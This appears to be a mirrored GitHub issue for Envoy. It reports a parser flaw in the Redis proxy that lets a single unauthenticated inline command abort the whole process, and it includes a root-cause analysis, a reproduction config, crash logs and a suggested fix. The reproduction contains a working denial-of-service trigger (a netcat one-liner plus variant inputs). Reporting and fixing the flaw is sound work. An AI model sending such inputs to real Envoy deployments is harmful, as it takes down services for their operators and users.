envoyproxy / envoyproxy/envoy

Uncaught exception in Redis proxy inline command parser

Open
#46,642 1 comment 0 reactions 0 assignees View on GitHub
area/redis bug stale
Dominant language
C++
Stars
28.9k
Forks
5.6k
Avg merge
1d 20h
Merged PRs (30d)
428

Description

Originally reported by @morph3

---

## Affected versions
- All releases from v1.31.0 (2024-05, introducing commit 8bc2e91751 "redis: add support for inline commands (#32380)") through v1.39.0 (latest) and main (verified at 8f77c4a).
- Verified live against official images: envoyproxy/envoy:v1.35-latest (1.35.13) and envoyproxy/envoy:v1.39-latest (1.39.0 release build) — both abort with exit code 133 after a single packet.

## Description

### Summary
An unauthenticated client can crash any Envoy process that exposes a `envoy.filters.network.redis_proxy` listener by sending a single inline Redis command containing a double-quoted argument with a literal `x` followed by a `\x` hex escape. The parser throws `std::invalid_argument` (from `std::stoul`), which escapes the filter chain (only `Redis::ProtocolError` is caught), unwinds through libevent C frames, and reaches `std::terminate`, aborting the entire Envoy process — all workers, all listeners, all in-flight traffic.

### Root cause
`source/extensions/filters/network/common/redis/codec_impl.cc`,
`DecoderImpl::parseSlice`,
`State::InlineStringQuotedEscapeHex`:

```cpp
s.push_back(buffer[0]); // append one hex digit
if (s[s.size() - 3] == 'x') { // checks 3-back for the escape marker
char c = static_cast(std::stoul(&s[s.size() - 2], nullptr, 16));
...
}
```

The escape marker `'x'` itself is pushed onto the value string when entering the state, so after one hex digit the completion test scans 3 characters back and can match a **literal** `'x'` that was already part of the user's argument. It then calls `std::stoul` on a string starting with the escape-marker `x`, which throws `std::invalid_argument`.

Trace for input `SET key "x\x41"`:
`s="x"` (literal) → escape `'x'` pushed (`s="xx"`) → hex digit `'4'`
(`s="xx4"`) → `s[0]=='x'` true → `stoul("x4")` → throw.

Exception sinks catch only `Common::Redis::ProtocolError` (an`EnvoyException`): `redis_proxy/proxy_filter.cc:467-471` and `common/redis/client_impl.cc:309`. The exception reaches `source/exe/terminate_handler.cc:36` ("std::terminate called! Uncaught unknown exception") and the process aborts (observed exit code 133 under Docker).

Secondary latent defect on the same line: when `\x` is the first content of a quoted argument, after one hex digit `s.size()==2`, so `s[s.size()-3]` == `operator[](SIZE_MAX)` — a 1-byte out-of-bounds *read* immediately before the string storage (fixed offset, currently benign; fix in the same patch).

### Reproduction (100% deterministic, pre-AUTH, no backend needed)

`redis-envoy.yaml`,
```yaml
# Minimal Envoy config exposing the redis_proxy filter for F1 verification.
# Listener 16379 -> redis_proxy -> (declared cluster unused by the crash path;
# the bug fires during inline-command decode, before any upstream dispatch).
admin:
address:
socket_address: { address: 0.0.0.0, port_value: 9901 }

static_resources:
listeners:
- name: redis_16379
address:
socket_address: { address: 0.0.0.0, port_value: 16379 }
filter_chains:
- filters:
- name: envoy.filters.network.redis_proxy
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.network.redis_proxy.v3.RedisProxy
stat_prefix: redis_stats
settings:
op_timeout: 5s
prefix_routes:
catch_all_route:
cluster: redis_backend
clusters:
- name: redis_backend
type: STATIC
lb_policy: ROUND_ROBIN
load_assignment:
cluster_name: redis_backend
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address: { address: 127.0.0.1, port_value: 9999 }
```

```bash
docker run -d --name envoyredis -p 16379:16379 \
-v "$PWD/redis-envoy.yaml:/etc/envoy/envoy.yaml:ro" \
envoyproxy/envoy:v1.39-latest envoy -c /etc/envoy/envoy.yaml
printf 'SET key "x\\x41"\r\n' | nc localhost 16379
docker ps -a | grep envoyredis # -> Exited (133)
docker logs envoyredis | grep terminate # -> terminate_handler.cc:36
```

docker logs -f 12,
```
[2026-08-01 01:12:09.545][41][critical][main] [source/exe/terminate_handler.cc:36] std::terminate called! Uncaught unknown exception, see trace.
[2026-08-01 01:12:09.545][41][critical][backtrace] [./source/server/backtrace.h:145] Backtrace (use tools/stack_decode.py to get line numbers):
[2026-08-01 01:12:09.545][41][critical][backtrace] [./source/server/backtrace.h:146] Envoy version: 9aed67d36497690a0d0dc65305ab823927441b77/1.39.0/Clean/RELEASE/BoringSSL
[2026-08-01 01:12:09.545][41][critical][backtrace] [./source/server/backtrace.h:148] Address mapping: aaaab6640000-aaaaba1af000 /usr/local/bin/envoy
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #0: [0xaaaab8f1aac4]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #1: [0xaaaaba14d134]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #2: [0xaaaaba14f4dc]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #3: [0xaaaaba14f4bc]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #4: [0xaaaaba10bfd0]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #5: [0xaaaaba10b01c]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #6: [0xaaaab6f152d8]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #7: [0xaaaab6f13a48]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #8: [0xaaaab6e7845c]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #9: [0xaaaab9896c28]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #10: [0xaaaab988e588]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #11: [0xaaaab988a6b8]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #12: [0xaaaab9893da4]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #13: [0xaaaab987be84]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #14: [0xaaaab987cd6c]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #15: [0xaaaab9bb4514]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #16: [0xaaaab9bb2f44]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #17: [0xaaaab8f6dc4c]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #18: [0xaaaab9bcbf3c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #19: [0xffffa9220398]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:161] Caught Aborted, suspect faulting address 0x6500000001
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:145] Backtrace (use tools/stack_decode.py to get line numbers):
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:146] Envoy version: 9aed67d36497690a0d0dc65305ab823927441b77/1.39.0/Clean/RELEASE/BoringSSL
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:148] Address mapping: aaaab6640000-aaaaba1af000 /usr/local/bin/envoy
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:153] #0: __kernel_rt_sigreturn [0xffffa948f7e8]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:153] #1: gsignal [0xffffa91da83c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:153] #2: abort [0xffffa91c7134]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #3: [0xaaaab8f1aad0]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #4: [0xaaaaba14d134]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #5: [0xaaaaba14f4dc]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #6: [0xaaaaba14f4bc]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #7: [0xaaaaba10bfd0]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #8: [0xaaaaba10b01c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #9: [0xaaaab6f152d8]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #10: [0xaaaab6f13a48]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #11: [0xaaaab6e7845c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #12: [0xaaaab9896c28]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #13: [0xaaaab988e588]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #14: [0xaaaab988a6b8]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #15: [0xaaaab9893da4]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #16: [0xaaaab987be84]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #17: [0xaaaab987cd6c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #18: [0xaaaab9bb4514]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #19: [0xaaaab9bb2f44]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #20: [0xaaaab8f6dc4c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #21: [0xaaaab9bcbf3c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #22: [0xffffa9220398]
ConnectionImpl 0x12fcffbc1e00, connecting_: 0, bind_error_: 0, state(): Open, read_buffer_limit_: 1048576
socket_:
ListenSocketImpl 0x12fcff930700, transport_protocol_: raw_buffer
connection_info_provider_:
ConnectionInfoSetterImpl 0x12fcff94d358, remote_address_: 192.168.65.1:43026, direct_remote_address_: 192.168.65.1:43026, local_address_: 172.17.0.4:16379, server_name_:

```

Trigger variants (all crash): `GET "x\x4"`, `PING "ax\xff"`, any quoted argument containing a literal `x` before a `\x` sequence in an inline command.

### Impact & attack surface
Remote, unauthenticated denial of service of the entire Envoy process from a single packet, on any deployment fronting Redis with envoy's redis_proxy (common in Kubernetes cache tiers and service meshes). The parser runs on raw client bytes before authentication, before routing, and requires no backend Redis at all. The Redis RESP codec currently has no oss-fuzz coverage (no dedicated fuzz target or uber-fuzzer inclusion), which explains why the bug survived >2 years and 5 release trains.

### Suggested fix
1. In `InlineStringQuotedEscapeHex`, stop pushing the escape marker into the value; track hex-digit count and convert exactly two hex digits (matching Redis `\xHH` semantics).
2. Defense in depth at the two filter callsites: catch `std::exception` alongside `ProtocolError` and map to the existing protocol error path.
3. Add the RESP codec to oss-fuzz. We have a working harness ready to contribute as a PR after disclosure (decoder-only, split delivery, seed corpus incl. this shape).

## Credits
[morph3] , I would like to submit a PR fixing this as well !

Contributor guide

Open the contributing guide

Research direction

Start in source/extensions/filters/network/common/redis/codec_impl.cc at DecoderImpl::parseSlice and State::InlineStringQuotedEscapeHex, then review the exception paths in redis_proxy/proxy_filter.cc and common/redis/client_impl.cc. Reproduce with the provided redis-envoy.yaml and inline command, and verify the process no longer aborts; cover the first-content escape case and the literal-x variant described in the issue.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp, redis
Domain
networking, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
58/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.